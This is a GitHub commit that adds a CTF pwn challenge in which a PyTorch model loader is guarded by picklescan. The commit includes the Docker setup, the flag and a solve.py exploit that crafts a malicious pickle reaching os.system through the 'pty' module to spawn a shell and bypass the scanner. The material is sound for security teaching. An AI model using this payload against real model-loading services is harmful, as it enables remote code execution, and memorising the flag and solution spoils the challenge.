Skip to content

Commit

Permalink
pwn(model-scan): add challenge
Browse files Browse the repository at this point in the history
  • Loading branch information
neochristou committed Apr 25, 2024
1 parent 8277fe6 commit b280cef
Show file tree
Hide file tree
Showing 8 changed files with 149 additions and 0 deletions.
28 changes: 28 additions & 0 deletions pwn/model-scan/challenge.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
name: "Model Scan"
author: "neo"
category: pwn

description: |
The Project Echo agents are testing out some cutting-edge AI models. They made sure they scan them, so these annoying Andromeda hackers don't try anything tricky!
value: 500
type: dynamic_docker
extra:
initial: 500
minimum: 100
decay: 25
redirect_type: direct
compose_stack: !filecontents docker-compose.yml

flags:
- CCSC{why_4r3_w3_st1ll_us1ng_p1kl3?!?}

tags:
- pwn
- easy

files:
- "public/model_scan.tar.gz"

state: visible
version: "0.1"
15 changes: 15 additions & 0 deletions pwn/model-scan/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
version: "3.7"

services:
challenge:
image: ghcr.io/cybermouflons/ccsc2024/model-scan:latest
restart: always
ports:
- 1337:1337
tty: true
stdin_open: true
build:
context: ./setup
dockerfile: Dockerfile
labels:
ctf.challenge.name: model-scan
Binary file added pwn/model-scan/public/model_scan.tar.gz
Binary file not shown.
24 changes: 24 additions & 0 deletions pwn/model-scan/setup/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
FROM ubuntu

RUN apt-get update && apt-get install -y \
socat python3 python3-pip

RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf

WORKDIR /home/ctf

ADD model_scan.py .
ADD flag.txt .
ADD add_unsafe.patch .

RUN chmod 755 ./*
RUN pip3 install picklescan==0.0.15
RUN pip3 install torch==2.2.2 torchvision torchaudio --index-url https://download.pytorch.org/whl/cpu

WORKDIR /usr/local/lib/python3.10/dist-packages/picklescan
RUN echo "from .scanner import *" >> __init__.py
RUN patch scanner.py /home/ctf/add_unsafe.patch

WORKDIR /home/ctf
EXPOSE 1337
CMD ["socat", "-v", "TCP-LISTEN:1337,reuseaddr,fork,su=ctf", "EXEC:'python3 /home/ctf/model_scan.py'"]
12 changes: 12 additions & 0 deletions pwn/model-scan/setup/add_unsafe.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
diff --git a/scanner.py b/scanner.py
index 0539736..9df706a 100644
--- a/scanner.py
+++ b/scanner.py
@@ -117,6 +117,7 @@ _unsafe_globals = {
"operator": "attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
"pickle": "*",
"_pickle": "*",
+ "picklescan": "*",
}

#
1 change: 1 addition & 0 deletions pwn/model-scan/setup/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
CCSC{why_4r3_w3_st1ll_us1ng_p1kl3?!?}
34 changes: 34 additions & 0 deletions pwn/model-scan/setup/model_scan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import base64

import picklescan
import torch


def scan_file(path):
safe = True

scan_result = picklescan.scanner.scan_file_path(path)

if scan_result.scan_err:
return False

if len(scan_result.globals) > 0:
for g in scan_result.globals:
if g.safety == picklescan.scanner.SafetyLevel.Dangerous:
print(f"Dangerous global: {g.module}.{g.name}")
safe = False

return safe


if __name__ == "__main__":

inp = input("Give me your model (base64): ").strip()

with open("model.pkl", "wb") as f:
f.write(base64.b64decode(inp))

safe = scan_file("model.pkl")

if safe:
torch.load("model.pkl")
35 changes: 35 additions & 0 deletions pwn/model-scan/solution/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
import base64
import io

import torch
from pickleassem import PickleAssembler
from pwn import *
from torch.serialization import _open_zipfile_writer

if __name__ == "__main__":

pa = PickleAssembler(proto=4)

# Just find one of the allowed modules that imports os, then call system
pa.push_mark()
pa.push_binstring("/bin/bash")
pa.build_inst("pty", "os.system")

payload = pa.assemble()

data = io.BytesIO()
data.write(payload)
data.seek(0)

data_value = data.getvalue()
with _open_zipfile_writer("vuln.pkl") as zip_file:
zip_file.write_record("data.pkl", data_value, len(data_value))

with open("vuln.pkl", "rb") as f:
payload = base64.b64encode(f.read())

r = remote("localhost", 1337)
r.recvuntil(": ")
r.sendline(payload)
r.interactive()
# print(r.recvall())

0 comments on commit b280cef

Please sign in to comment.